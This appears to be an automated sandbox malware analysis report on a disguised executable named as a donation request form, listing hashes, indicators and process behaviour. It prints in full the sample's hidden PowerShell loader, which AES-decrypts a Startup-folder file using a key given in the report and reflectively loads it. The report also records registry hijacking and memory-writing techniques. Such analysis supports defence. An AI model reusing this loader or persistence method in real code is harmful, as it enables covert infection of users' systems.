Analysis
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max time kernel
87s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
14-06-2022 18:31
Static task
static1
Behavioral task
behavioral1
Sample
Holland-America-Donation-Request-Form.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Holland-America-Donation-Request-Form.exe
Resource
win10v2004-20220414-en
General
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Target
Holland-America-Donation-Request-Form.exe
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Size
274.0MB
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MD5
761b643ce4867014456b331b1a251dc3
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SHA1
52685157be543065f34a7ec9eb8519c9b1855a59
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SHA256
6d1a637ee2263dc7918b886a8a1878fb73a000510bc6f42e0c59669487c46e82
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SHA512
f30eb357e0dd4eaec8de8bc08ad1a1044340b3fe55856aad68499251eab4bc5d41f422984f213fa173aeb44b3c9b8cbdc8b93780fa337365ac89150fb7fa3451
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1692 Formability.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation Holland-America-Donation-Request-Form.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wzxCtQprBFsFysko.JQoisuiBejbZlFBLCMnuhT Holland-America-Donation-Request-Form.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\xvzltcyppnkrcjpiwjyqxjjlaksn\shell\open\command Holland-America-Donation-Request-Form.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\xvzltcyppnkrcjpiwjyqxjjlaksn Holland-America-Donation-Request-Form.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\xvzltcyppnkrcjpiwjyqxjjlaksn\shell Holland-America-Donation-Request-Form.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\xvzltcyppnkrcjpiwjyqxjjlaksn\shell\open Holland-America-Donation-Request-Form.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\xvzltcyppnkrcjpiwjyqxjjlaksn\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('BaJrG0j4sBSpHZepViql6rC/MdwD2T2tYTIdLlbJgTY=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFx3enhDdFFwckJGc0Z5c2tvLkpRb2lzdWlCZWpiWmxGQkxDTW51aFQ='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[yGU9dXVE7JbYQ26wYmZ_qPw745ZF7vrwI8PzOsFHxx2LYVQLORD_xal4XLVMUcGyy3ifRp4KYVpVWkiW0f1xc.aiGOuvHn2tFaR6PZkcqxNGJ8svxyLiUbWS_veUpzJ8pnlqwtP3gnBO5KMoIg_vNGmLw9EklhGOmL9GmaIcAqbaKGZLas2LLssio]::zLU9k391joM0iDI67enb65lBXrnGontdGFNn5fokV();\"" Holland-America-Donation-Request-Form.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\.jqoisuibejbzlfblcmnuht Holland-America-Donation-Request-Form.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\.jqoisuibejbzlfblcmnuht\ = "xvzltcyppnkrcjpiwjyqxjjlaksn" Holland-America-Donation-Request-Form.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2964 Holland-America-Donation-Request-Form.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2964 Holland-America-Donation-Request-Form.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4248 wrote to memory of 1692 4248 Holland-America-Donation-Request-Form.exe 85 PID 4248 wrote to memory of 1692 4248 Holland-America-Donation-Request-Form.exe 85 PID 4248 wrote to memory of 1692 4248 Holland-America-Donation-Request-Form.exe 85 PID 4248 wrote to memory of 2964 4248 Holland-America-Donation-Request-Form.exe 86 PID 4248 wrote to memory of 2964 4248 Holland-America-Donation-Request-Form.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\Holland-America-Donation-Request-Form.exe"C:\Users\Admin\AppData\Local\Temp\Holland-America-Donation-Request-Form.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Users\Admin\AppData\Local\Temp\Formability.exe"C:\Users\Admin\AppData\Local\Temp\Formability.exe"2⤵
- Executes dropped EXE
PID:1692
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C:\Users\Admin\AppData\Local\Temp\Holland-America-Donation-Request-Form.exe"C:\Users\Admin\AppData\Local\Temp\Holland-America-Donation-Request-Form.exe" /s2⤵
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2964
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
997KB
MD5dbc534854dd385e59a3f1906ddfb9020
SHA12b3062d82232ce10a8713829199769ff0d12e0fc
SHA25606486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0
SHA5121506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951
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Filesize
997KB
MD5dbc534854dd385e59a3f1906ddfb9020
SHA12b3062d82232ce10a8713829199769ff0d12e0fc
SHA25606486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0
SHA5121506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951